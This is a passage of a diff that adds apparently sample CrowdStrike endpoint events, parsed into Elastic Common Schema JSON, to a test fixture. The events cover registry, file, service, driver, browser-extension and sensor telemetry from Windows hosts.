+            "message": "RegCrowdstrikeValueUpdate",
+            "observer": {
+                "address": [
+                    "81.2.69.192"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.192"
+                ],
+                "serial_number": "be027d4cbada339f804f9c19f5a2d5a6",
+                "version": "1007.3.0019907.15"
+            },
+            "process": {
+                "entity_id": "100704500092",
+                "thread": {
+                    "id": 1945182997323
+                }
+            },
+            "registry": {
+                "data": {
+                    "type": "REG_NONE"
+                },
+                "key": "SYSTEM\\REDACTED\\Services\\REDACTED\\Keyword\\REDACTED\\Keyword\\REDACTED",
+                "path": "\\REGISTRY\\MACHINE\\SYSTEM\\REDACTED\\Services\\REDACTED\\Keyword\\REDACTED\\Keyword\\REDACTED\\{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}",
+                "value": "{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}"
+            },
+            "related": {
+                "hash": [
+                    "2080600092"
+                ],
+                "hosts": [
+                    "redacted-computer-name"
+                ],
+                "ip": [
+                    "81.2.69.192"
+                ]
+            },
+            "source": {
+                "address": "81.2.69.192",
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": "81.2.69.192"
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-09-15T03:22:10.446Z",
+            "crowdstrike": {
+                "Attacks": [
+                    {
+                        "Tactic": "Command and Control",
+                        "Technique": "Data Obfuscation"
+                    }
+                ],
+                "AuthenticationId": "999",
+                "ConfigStateHash": "1234437812",
+                "ContextBaseFileName": "svchost.exe",
+                "ContextProcessId": "111122223333",
+                "ContextTimeStamp": "2025-09-15T03:22:09.857Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "EventOrigin": "1",
+                "FileCategory": "3",
+                "FileEcpBitmask": "0",
+                "FileObject": "0",
+                "FileOperatorSid": "S-1-5-18",
+                "FileWrittenFlags": "0",
+                "IrpFlags": "0",
+                "IsOnNetwork": "0",
+                "IsOnRemovableDisk": "0",
+                "LocalAddressIP4": [
+                    "89.160.20.112"
+                ],
+                "MajorFunction": "0",
+                "MinorFunction": "0",
+                "OperationFlags": "0",
+                "TokenType": "2",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "9c458f0ddfe1293cd356445b2c473d0a0ef4",
+                "name": "PngFileWrittenV3"
+            },
+            "device": {
+                "id": "bae5bafaeb93295d398bf55b8ba1cf01"
+            },
+            "event": {
+                "action": "creation",
+                "category": [
+                    "file"
+                ],
+                "created": "2025-09-15T03:22:10.446Z",
+                "id": "9c458f0ddfe1293cd356445b2c473d0a0ef4|bae5bafaeb93295d398bf55b8ba1cf01|4092825518eaf67377a6e4492ae44577",
+                "original": "{\"FileOperatorSid\":\"S-1-5-18\",\"ContextBaseFileName\":\"svchost.exe\",\"FileCategory\":\"3\",\"Size\":\"22929\",\"ContextThreadId\":\"1111111111111\",\"MinorFunction\":\"0\",\"aip\":\"89.160.20.128\",\"IsOnNetwork\":\"0\",\"FileIdentifier\":\"9c3110248de4f0a68f2fe668e59ed821d7d987845cd51ed1\",\"event_platform\":\"Win\",\"TokenType\":\"2\",\"EventOrigin\":\"1\",\"DiskParentDeviceInstanceId\":\"61f\\\\cd4242a2\\\\a3fcbe35\",\"id\":\"9c458f0ddfe1293cd356445b2c473d0a0ef4\",\"FileObject\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1757906530446\",\"LocalAddressIP4\":\"89.160.20.112\",\"event_simpleName\":\"PngFileWritten\",\"ContextTimeStamp\":\"1757906529.857\",\"UserName\":\"dev-win10-3$\",\"ConfigStateHash\":\"1234437812\",\"ContextProcessId\":\"111122223333\",\"IrpFlags\":\"0\",\"AuthenticationId\":\"999\",\"FileWrittenFlags\":\"0\",\"ConfigBuild\":\"1002.2.0019609.21\",\"FileEcpBitmask\":\"0\",\"MajorFunction\":\"0\",\"IsOnRemovableDisk\":\"0\",\"Entitlements\":\"15\",\"name\":\"PngFileWrittenV3\",\"ComputerName\":\"dev-win10-3\",\"OperationFlags\":\"0\",\"Attacks\":[{\"Tactic\":\"Command and Control\",\"Technique\":\"Data Obfuscation\"}],\"aid\":\"bae5bafaeb93295d398bf55b8ba1cf01\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\Device\\\\Images\\\\qwert.png\"}"
+            },
+            "file": {
+                "device": "61f\\cd4242a2\\a3fcbe35",
+                "directory": "\\Device\\Images",
+                "extension": "png",
+                "inode": "9c3110248de4f0a68f2fe668e59ed821d7d987845cd51ed1",
+                "name": "qwert.png",
+                "path": "\\Device\\Images\\qwert.png",
+                "size": 22929,
+                "type": "file"
+            },
+            "host": {
+                "hostname": "dev-win10-3",
+                "id": "bae5bafaeb93295d398bf55b8ba1cf01",
+                "name": "dev-win10-3",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "PngFileWritten",
+            "observer": {
+                "address": [
+                    "89.160.20.128"
+                ],
+                "geo": {
+                    "city_name": "Linköping",
+                    "continent_name": "Europe",
+                    "country_iso_code": "SE",
+                    "country_name": "Sweden",
+                    "location": {
+                        "lat": 58.4167,
+                        "lon": 15.6167
+                    },
+                    "region_iso_code": "SE-E",
+                    "region_name": "Östergötland County"
+                },
+                "ip": [
+                    "89.160.20.128"
+                ],
+                "serial_number": "bae5bafaeb93295d398bf55b8ba1cf01",
+                "version": "1002.2.0019609.21"
+            },
+            "process": {
+                "entity_id": "111122223333",
+                "name": "svchost.exe",
+                "thread": {
+                    "id": 1111111111111
+                }
+            },
+            "related": {
+                "hash": [
+                    "1234437812"
+                ],
+                "hosts": [
+                    "dev-win10-3"
+                ],
+                "ip": [
+                    "89.160.20.128",
+                    "89.160.20.112"
+                ],
+                "user": [
+                    "dev-win10-3$",
+                    "S-1-5-18"
+                ]
+            },
+            "source": {
+                "address": "89.160.20.112",
+                "as": {
+                    "number": 29518,
+                    "organization": {
+                        "name": "Bredband2 AB"
+                    }
+                },
+                "geo": {
+                    "city_name": "Linköping",
+                    "continent_name": "Europe",
+                    "country_iso_code": "SE",
+                    "country_name": "Sweden",
+                    "location": {
+                        "lat": 58.4167,
+                        "lon": 15.6167
+                    },
+                    "region_iso_code": "SE-E",
+                    "region_name": "Östergötland County"
+                },
+                "ip": "89.160.20.112"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "threat": {
+                "tactic": {
+                    "name": [
+                        "Command and Control"
+                    ]
+                },
+                "technique": {
+                    "name": [
+                        "Data Obfuscation"
+                    ]
+                }
+            },
+            "user": {
+                "id": "S-1-5-18",
+                "name": "dev-win10-3$"
+            }
+        },
+        {
+            "@timestamp": "2025-08-18T18:31:22.619Z",
+            "crowdstrike": {
+                "ConfigStateHash": "0222222222",
+                "ContextProcessId": "1111111111",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "EventOrigin": "1",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "9c458f-ddfe1293cd-56445b2c4-3d0a0ef4",
+                "name": "MotwWrittenV2"
+            },
+            "device": {
+                "id": "bae5bafaeb93295d398bf55b8ba1cf01"
+            },
+            "event": {
+                "action": "creation",
+                "category": [
+                    "file"
+                ],
+                "created": "2025-08-18T18:31:22.619Z",
+                "id": "9c458f-ddfe1293cd-56445b2c4-3d0a0ef4|bae5bafaeb93295d398bf55b8ba1cf01|4092825518eaf67377a6e4492ae44577",
+                "original": "{\"event_simpleName\":\"MotwWritten\",\"ConfigStateHash\":\"0222222222\",\"ContextProcessId\":\"1111111111\",\"aip\":\"89.160.20.128\",\"FileIdentifier\":\"9c3110248de4f0a68f2fe668e59ed821d7d987845cd51ed1\",\"ConfigBuild\":\"1007.3.0019907.15\",\"event_platform\":\"Win\",\"HostUrl\":\"\",\"Entitlements\":\"15\",\"name\":\"MotwWrittenV2\",\"EventOrigin\":\"1\",\"ReferrerUrl\":\"\",\"id\":\"9c458f-ddfe1293cd-56445b2c4-3d0a0ef4\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"bae5bafaeb93295d398bf55b8ba1cf01\",\"timestamp\":\"1755541882619\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\Device\\\\Local\\\\Default\\\\Files\\\\asdf-ghkl\"}"
+            },
+            "file": {
+                "directory": "\\Device\\Local\\Default\\Files",
+                "inode": "9c3110248de4f0a68f2fe668e59ed821d7d987845cd51ed1",
+                "name": "asdf-ghkl",
+                "path": "\\Device\\Local\\Default\\Files\\asdf-ghkl",
+                "type": "file"
+            },
+            "host": {
+                "id": "bae5bafaeb93295d398bf55b8ba1cf01",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "MotwWritten",
+            "observer": {
+                "address": [
+                    "89.160.20.128"
+                ],
+                "geo": {
+                    "city_name": "Linköping",
+                    "continent_name": "Europe",
+                    "country_iso_code": "SE",
+                    "country_name": "Sweden",
+                    "location": {
+                        "lat": 58.4167,
+                        "lon": 15.6167
+                    },
+                    "region_iso_code": "SE-E",
+                    "region_name": "Östergötland County"
+                },
+                "ip": [
+                    "89.160.20.128"
+                ],
+                "serial_number": "bae5bafaeb93295d398bf55b8ba1cf01",
+                "version": "1007.3.0019907.15"
+            },
+            "process": {
+                "entity_id": "1111111111"
+            },
+            "related": {
+                "hash": [
+                    "0222222222"
+                ],
+                "ip": [
+                    "89.160.20.128"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-09-19T17:46:20.922Z",
+            "crowdstrike": {
+                "BatchDataNumber": "2",
+                "BatchDataTotal": "3",
+                "BatchTimestamp": "2025-09-19T17:46:24.040Z",
+                "ConfigStateHash": "3667246164",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "EventOrigin": "1",
+                "MountedVolumeAction": "0",
+                "VolumeDeviceCharacteristics": "131072",
+                "VolumeDeviceObjectFlags": "134479872",
+                "VolumeDeviceType": "8",
+                "VolumeDriveLetter": "\\\\?\\Volume{ba6553c6-ea71-4f58-adf2-eb7c71401657}",
+                "VolumeEncryptionStatus": "0",
+                "VolumeFileSystemDevice": "\\Ntfs",
+                "VolumeFileSystemDriver": "\\FileSystem\\Ntfs",
+                "VolumeFileSystemType": "2",
+                "VolumeIsEncrypted": "0",
+                "VolumeMountPoint": "\\??\\Volume{ba6553c6-ea71-4f58-adf2-eb7c71401657}",
+                "VolumeName": "\\Device\\HarddiskVolume4",
+                "VolumeRealDeviceName": "\\Device\\HarddiskVolume4",
+                "VolumeSectorSize": "512",
+                "VolumeSessionUUID": "BA6553C6-EA71-4F58-ADF2-EB7C71401657",
+                "id": "4a10cafe-7a95-4659-80c0-9b670b2308c1",
+                "name": "MountedVolumeV1"
+            },
+            "device": {
+                "id": "bae5bafaeb93295d398bf55b8ba1cf01"
+            },
+            "event": {
+                "action": "MountedVolume",
+                "category": [
+                    "file"
+                ],
+                "created": "2025-09-19T17:46:20.922Z",
+                "id": "4a10cafe-7a95-4659-80c0-9b670b2308c1|bae5bafaeb93295d398bf55b8ba1cf01|",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"MountedVolume\",\"BatchDataTotal\":\"3\",\"VolumeSessionUUID\":\"BA6553C6-EA71-4F58-ADF2-EB7C71401657\",\"BatchTimestamp\":\"1758303984.040\",\"BatchDataNumber\":\"2\",\"VolumeMountPoint\":\"\\\\??\\\\Volume{ba6553c6-ea71-4f58-adf2-eb7c71401657}\",\"VolumeDriveLetter\":\"\\\\\\\\?\\\\Volume{ba6553c6-ea71-4f58-adf2-eb7c71401657}\",\"event_platform\":\"Win\",\"VolumeDeviceObjectFlags\":\"134479872\",\"VolumeFileSystemDevice\":\"\\\\Ntfs\",\"VolumeIsEncrypted\":\"0\",\"VolumeFileSystemDriver\":\"\\\\FileSystem\\\\Ntfs\",\"EventOrigin\":\"1\",\"DiskParentDeviceInstanceId\":\"PCI\\\\VEN_15AD\\u0026DEV_07F0\\u0026SUBSYS_07F015AD\\u0026REV_00\\\\4\\u00263b50545d\\u00260\\u002600B8\",\"VolumeDeviceCharacteristics\":\"131072\",\"id\":\"4a10cafe-7a95-4659-80c0-9b670b2308c1\",\"VolumeDeviceType\":\"8\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1758303980922\",\"VolumeName\":\"\\\\Device\\\\HarddiskVolume4\",\"VolumeSectorSize\":\"512\",\"ConfigStateHash\":\"3667246164\",\"MountedVolumeAction\":\"0\",\"VolumeRealDeviceName\":\"\\\\Device\\\\HarddiskVolume4\",\"VolumeLabel\":\"\",\"ConfigBuild\":\"1007.3.0019907.15\",\"VolumeEncryptionStatus\":\"0\",\"VolumeFileSystemType\":\"2\",\"Entitlements\":\"15\",\"name\":\"MountedVolumeV1\",\"VirtualDriveFileName\":\"\",\"ComputerName\":\"ETW\",\"aid\":\"bae5bafaeb93295d398bf55b8ba1cf01\"}",
+                "outcome": "success",
+                "type": [
+                    "info"
+                ]
+            },
+            "file": {
+                "device": "PCI\\VEN_15AD&DEV_07F0&SUBSYS_07F015AD&REV_00\\4&3b50545d&0&00B8"
+            },
+            "host": {
+                "hostname": "ETW",
+                "id": "bae5bafaeb93295d398bf55b8ba1cf01",
+                "name": "ETW",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "MountedVolume",
+            "observer": {
+                "serial_number": "bae5bafaeb93295d398bf55b8ba1cf01",
+                "version": "1007.3.0019907.15"
+            },
+            "related": {
+                "hash": [
+                    "3667246164"
+                ],
+                "hosts": [
+                    "ETW"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-09-15T06:14:48.316Z",
+            "crowdstrike": {
+                "ConfigStateHash": "3164437859",
+                "ContextProcessId": "107384762651",
+                "ContextProcessTagsAsString": [
+                    "179",
+                    "417",
+                    "113292"
+                ],
+                "DesiredAccess": "2097151",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "EventOrigin": "1",
+                "GrandparentProcessId": "107378835181",
+                "HandleOperationType": "1",
+                "ParentCommandLine": "wininit.exe",
+                "ParentImageFileName": "\\Device\\HarddiskVolume4\\Windows\\System32\\wininit.exe",
+                "ParentProcessPatternIdList": [
+                    "7201",
+                    "7410",
+                    "7426"
+                ],
+                "PatternId": "10517",
+                "PatternIdList": [
+                    "7053",
+                    "7090",
+                    "7119"
+                ],
+                "TargetProcessCommandLine": "\"C:\\Program Files\\CrowdStrike\\CSFalconService.exe\"",
+                "TargetProcessImageFileName": "\\Device\\HarddiskVolume4\\Program Files\\CrowdStrike\\CSFalconService.exe",
+                "TemplateDisposition": "10",
+                "TemplateInstanceId": "20587",
+                "id": "da53cef8-72b1-4ca8-af19-2ae8f9c30fbf",
+                "name": "FalconProcessHandleOpDetectInfoV1"
+            },
+            "device": {
+                "id": "cdbfd7c3bab5478d935db9969b5886cc"
+            },
+            "event": {
+                "action": "FalconProcessHandleOpDetectInfo",
+                "category": [
+                    "malware",
+                    "process"
+                ],
+                "created": "2025-09-15T06:14:48.316Z",
+                "id": "da53cef8-72b1-4ca8-af19-2ae8f9c30fbf|cdbfd7c3bab5478d935db9969b5886cc|",
+                "kind": "alert",
+                "original": "{\"event_simpleName\":\"FalconProcessHandleOpDetectInfo\",\"GrandparentProcessId\":\"107378835181\",\"GrandparentProcessPatternIdList\":\"\",\"ParentProcessId\":\"107382228681\",\"TemplateInstanceId\":\"20587\",\"ParentImageFileName\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\wininit.exe\",\"HandleOperationType\":\"1\",\"event_platform\":\"Win\",\"PatternId\":\"10517\",\"EventOrigin\":\"1\",\"id\":\"da53cef8-72b1-4ca8-af19-2ae8f9c30fbf\",\"ParentCommandLine\":\"wininit.exe\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1757916888316\",\"ConfigStateHash\":\"3164437859\",\"TemplateDisposition\":\"10\",\"ContextProcessId\":\"107384762651\",\"TargetProcessImageFileName\":\"\\\\Device\\\\HarddiskVolume4\\\\Program Files\\\\CrowdStrike\\\\CSFalconService.exe\",\"ConfigBuild\":\"1007.3.0019907.15\",\"CommandLine\":\"C:\\\\Windows\\\\system32\\\\services.exe\",\"ParentProcessPatternIdList\":\"7201,7410,7426\",\"TargetProcessId\":\"107445999828\",\"DesiredAccess\":\"2097151\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\services.exe\",\"Entitlements\":\"15\",\"name\":\"FalconProcessHandleOpDetectInfoV1\",\"ComputerName\":\"win10-qwe-3\",\"ContextProcessTagsAsString\":\"179,417,113292\",\"aid\":\"cdbfd7c3bab5478d935db9969b5886cc\",\"PatternIdList\":\"7053,7090,7119\",\"TargetProcessCommandLine\":\"\\\"C:\\\\Program Files\\\\CrowdStrike\\\\CSFalconService.exe\\\"\"}",
+                "type": [
+                    "info",
+                    "access"
+                ]
+            },
+            "host": {
+                "hostname": "win10-qwe-3",
+                "id": "cdbfd7c3bab5478d935db9969b5886cc",
+                "name": "win10-qwe-3",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "FalconProcessHandleOpDetectInfo",
+            "observer": {
+                "serial_number": "cdbfd7c3bab5478d935db9969b5886cc",
+                "version": "1007.3.0019907.15"
+            },
+            "process": {
+                "args": [
+                    "C:\\Windows\\system32\\services.exe"
+                ],
+                "args_count": 1,
+                "command_line": "C:\\Windows\\system32\\services.exe",
+                "entity_id": "107445999828",
+                "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\services.exe",
+                "name": "services.exe",
+                "parent": {
+                    "entity_id": "107382228681"
+                }
+            },
+            "related": {
+                "hash": [
+                    "3164437859"
+                ],
+                "hosts": [
+                    "win10-qwe-3"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-10-30T08:53:42.802Z",
+            "crowdstrike": {
+                "ClientProcessStartKey": "7599824371187858",
+                "ConfigStateHash": "1611923365",
+                "ContextTimeStamp": "2025-10-30T08:53:39.055Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "EtwRawRpcClientProcessId": "5940",
+                "EventOrigin": "1",
+                "IsHosted": "0",
+                "SourceProcessId": "111822186970",
+                "id": "e9e1ae71-7b21-4260-9891-f1dd497a7ea9",
+                "name": "ServiceStoppedV2"
+            },
+            "device": {
+                "id": "cdbfd7c3bab5478d935db9969b5886cc"
+            },
+            "event": {
+                "action": "ServiceStopped",
+                "category": [
+                    "process"
+                ],
+                "created": "2025-10-30T08:53:42.802Z",
+                "id": "e9e1ae71-7b21-4260-9891-f1dd497a7ea9|cdbfd7c3bab5478d935db9969b5886cc|",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"ServiceStopped\",\"SourceProcessId\":\"111822186970\",\"EtwRawRpcClientProcessId\":\"5940\",\"event_platform\":\"Win\",\"EventOrigin\":\"1\",\"id\":\"e9e1ae71-7b21-4260-9891-f1dd497a7ea9\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1761814422802\",\"IsHosted\":\"0\",\"ContextTimeStamp\":\"1761814419.055\",\"ConfigStateHash\":\"1611923365\",\"EtwRawProcessId\":\"5940\",\"ServiceDisplayName\":\"wuauserv\",\"ConfigBuild\":\"1007.3.0020008.15\",\"CommandLine\":\"C:\\\\Windows\\\\system32\\\\svchost.exe -k netsvcs -p -s wuauserv\",\"TargetProcessId\":\"111822186970\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\svchost.exe\",\"Entitlements\":\"15\",\"name\":\"ServiceStoppedV2\",\"ClientProcessStartKey\":\"7599824371187858\",\"ComputerName\":\"win10-qwe-3\",\"aid\":\"cdbfd7c3bab5478d935db9969b5886cc\"}",
+                "outcome": "success",
+                "type": [
+                    "end"
+                ]
+            },
+            "host": {
+                "hostname": "win10-qwe-3",
+                "id": "cdbfd7c3bab5478d935db9969b5886cc",
+                "name": "win10-qwe-3",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "ServiceStopped",
+            "observer": {
+                "serial_number": "cdbfd7c3bab5478d935db9969b5886cc",
+                "version": "1007.3.0020008.15"
+            },
+            "process": {
+                "args": [
+                    "C:\\Windows\\system32\\svchost.exe",
+                    "-k",
+                    "netsvcs",
+                    "-p",
+                    "-s",
+                    "wuauserv"
+                ],
+                "args_count": 6,
+                "command_line": "C:\\Windows\\system32\\svchost.exe -k netsvcs -p -s wuauserv",
+                "entity_id": "111822186970",
+                "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\svchost.exe",
+                "name": "svchost.exe",
+                "pid": 5940,
+                "title": "wuauserv"
+            },
+            "related": {
+                "hash": [
+                    "1611923365"
+                ],
+                "hosts": [
+                    "win10-qwe-3"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-10-30T08:07:40.596Z",
+            "crowdstrike": {
+                "ConfigStateHash": "1146505100",
+                "ContextProcessId": "111669260464",
+                "ContextTimeStamp": "2025-10-30T08:07:37.917Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "EventOrigin": "17",
+                "ImageBaseName": "WdNisDrv.sys",
+                "RpcClientProcessId": "111754267474",
+                "RpcClientThreadId": "1985175578964",
+                "id": "664425be-9ed3-4b41-8790-5bd12a9889e8",
+                "name": "KernelServiceStartedV3"
+            },
+            "device": {
+                "id": "cdbfd7c3bab5478d935db9969b5886cc"
+            },
+            "event": {
+                "action": "KernelServiceStarted",
+                "category": [
+                    "process"
+                ],
+                "created": "2025-10-30T08:07:40.596Z",
+                "id": "664425be-9ed3-4b41-8790-5bd12a9889e8|cdbfd7c3bab5478d935db9969b5886cc|",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"KernelServiceStarted\",\"ContextTimeStamp\":\"1761811657.917\",\"ConfigStateHash\":\"1146505100\",\"ContextProcessId\":\"111669260464\",\"ContextThreadId\":\"1984294987428\",\"RpcClientThreadId\":\"1985175578964\",\"ServiceDisplayName\":\"@C:\\\\ProgramData\\\\Microsoft\\\\Windows Defender\\\\Platform\\\\4.18.25070.5-0\\\\MpAsDesc.dll,-370\",\"ConfigBuild\":\"1007.3.0019907.15\",\"event_platform\":\"Win\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume4\\\\ProgramData\\\\Microsoft\\\\Windows Defender\\\\Platform\\\\4.18.25070.5-0\\\\Drivers\\\\WdNisDrv.sys\",\"Entitlements\":\"15\",\"name\":\"KernelServiceStartedV3\",\"ImageBaseName\":\"WdNisDrv.sys\",\"EventOrigin\":\"17\",\"ComputerName\":\"raquel-win10-3\",\"RpcClientProcessId\":\"111754267474\",\"id\":\"664425be-9ed3-4b41-8790-5bd12a9889e8\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"cdbfd7c3bab5478d935db9969b5886cc\",\"timestamp\":\"1761811660596\"}",
+                "type": [
+                    "start"
+                ]
+            },
+            "host": {
+                "hostname": "raquel-win10-3",
+                "id": "cdbfd7c3bab5478d935db9969b5886cc",
+                "name": "raquel-win10-3",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "KernelServiceStarted",
+            "observer": {
+                "serial_number": "cdbfd7c3bab5478d935db9969b5886cc",
+                "version": "1007.3.0019907.15"
+            },
+            "process": {
+                "entity_id": "111669260464",
+                "executable": "\\Device\\HarddiskVolume4\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.25070.5-0\\Drivers\\WdNisDrv.sys",
+                "name": "WdNisDrv.sys",
+                "thread": {
+                    "id": 1984294987428
+                },
+                "title": "@C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.25070.5-0\\MpAsDesc.dll,-370"
+            },
+            "related": {
+                "hash": [
+                    "1146505100"
+                ],
+                "hosts": [
+                    "raquel-win10-3"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-09-14T03:23:29.811Z",
+            "crowdstrike": {
+                "BatchDataNumber": "1",
+                "BatchDataTotal": "2",
+                "BatchTimestamp": "2025-09-14T03:23:29.223Z",
+                "BrowserExtensionId": "jmjflgjpcpepeafmmgdpfkogkghcpiha",
+                "BrowserExtensionInstallMethod": "BROWSER",
+                "BrowserExtensionStatusEnabled": "1",
+                "BrowserFileHash": "ef9d1b42ca58103e9647763f67303519a0701c7b1278af0ad25f7f673c10743b",
+                "BrowserFilePath": "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe",
+                "BrowserName": "4",
+                "BrowserProfileId": "Default",
+                "BrowserProfileName": "Profile 1",
+                "BrowserVersion": "138.0.3351.83",
+                "ConfigStateHash": "3164437859",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "15",
+                "EventOrigin": "17",
+                "UpdateFlag": "1",
+                "id": "0eaf2b81-3888-446f-99ba-e38ff8249b25",
+                "name": "InstalledBrowserExtensionV2"
+            },
+            "device": {
+                "id": "cdbfd7c3bab5478d935db9969b5886cc"
+            },
+            "event": {
+                "action": "InstalledBrowserExtension",
+                "category": [
+                    "package"
+                ],
+                "created": "2025-09-14T03:23:29.811Z",
+                "id": "0eaf2b81-3888-446f-99ba-e38ff8249b25|cdbfd7c3bab5478d935db9969b5886cc|",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"InstalledBrowserExtension\",\"BrowserName\":\"4\",\"BrowserFilePath\":\"C:\\\\Program Files (x86)\\\\Microsoft\\\\Edge\\\\Application\\\\msedge.exe\",\"BatchDataTotal\":\"2\",\"BrowserProfileName\":\"Profile 1\",\"BatchTimestamp\":\"1757820209.223\",\"BrowserExtensionVersion\":\"1.2.1\",\"BrowserExtensionInstalledTimestamp\":\"1748442656.300\",\"BatchDataNumber\":\"1\",\"UserSid\":\"S-1-5-21-2765107603-xxxx-500\",\"event_platform\":\"Win\",\"UpdateFlag\":\"1\",\"BrowserProfileId\":\"Default\",\"EventOrigin\":\"17\",\"id\":\"0eaf2b81-3888-446f-99ba-e38ff8249b25\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1757820209811\",\"BrowserExtensionArchitecture\":\"3\",\"UserName\":\"win10_user3\",\"ConfigStateHash\":\"3164437859\",\"BrowserExtensionPath\":\"C:\\\\Users\\\\win10_user3\\\\AppData\\\\Local\\\\Microsoft\\\\Edge\\\\User Data\\\\Default\\\\Extensions\\\\jmjflgjpcpepeafmmgdpfkogkghcpiha\\\\1.2.1_0\",\"BrowserExtensionId\":\"jmjflgjpcpepeafmmgdpfkogkghcpiha\",\"ConfigBuild\":\"1007.3.0019907.15\",\"BrowserExtensionName\":\"Edge relevant text changes\",\"BrowserExtensionStatusEnabled\":\"1\",\"BrowserFileHash\":\"ef9d1b42ca58103e9647763f67303519a0701c7b1278af0ad25f7f673c10743b\",\"Entitlements\":\"15\",\"name\":\"InstalledBrowserExtensionV2\",\"ComputerName\":\"win10-qwe-3\",\"BrowserExtensionInstallMethod\":\"1\",\"aid\":\"cdbfd7c3bab5478d935db9969b5886cc\",\"BrowserVersion\":\"138.0.3351.83\"}",
+                "type": [
+                    "installation"
+                ]
+            },
+            "host": {
+                "hostname": "win10-qwe-3",
+                "id": "cdbfd7c3bab5478d935db9969b5886cc",
+                "name": "win10-qwe-3",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "InstalledBrowserExtension",
+            "observer": {
+                "serial_number": "cdbfd7c3bab5478d935db9969b5886cc",
+                "version": "1007.3.0019907.15"
+            },
+            "package": {
+                "architecture": "SAFARI_APP",
+                "installed": "2025-05-28T14:30:56.300Z",
+                "name": "Edge relevant text changes",
+                "path": "C:\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Extensions\\jmjflgjpcpepeafmmgdpfkogkghcpiha\\1.2.1_0",
+                "version": "1.2.1"
+            },
+            "related": {
+                "hash": [
+                    "3164437859"
+                ],
+                "hosts": [
+                    "win10-qwe-3"
+                ],
+                "user": [
+                    "win10_user3",
+                    "S-1-5-21-2765107603-xxxx-500"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "id": "S-1-5-21-2765107603-xxxx-500",
+                "name": "win10_user3"
+            }
+        },
+        {
+            "@timestamp": "2025-09-12T03:41:58.836Z",
+            "crowdstrike": {
+                "AntiTamperStateFlag": "9",
+                "ConfigStateHash": "1442922594",
+                "EffectiveTransmissionClass": "0",
+                "Entitlements": "15",
+                "EventOrigin": "17",
+                "id": "8bee55a5-f768-48b9-ab4c-614a1283a58a",
+                "name": "SensorAntiTamperStateV1"
+            },
+            "device": {
+                "id": "cdbfd7c3bab5478d935db9969b5886cc"
+            },
+            "event": {
+                "action": "SensorAntiTamperState",
+                "category": [
+                    "configuration"
+                ],
+                "created": "2025-09-12T03:41:58.836Z",
+                "id": "8bee55a5-f768-48b9-ab4c-614a1283a58a|cdbfd7c3bab5478d935db9969b5886cc|",
+                "kind": "state",
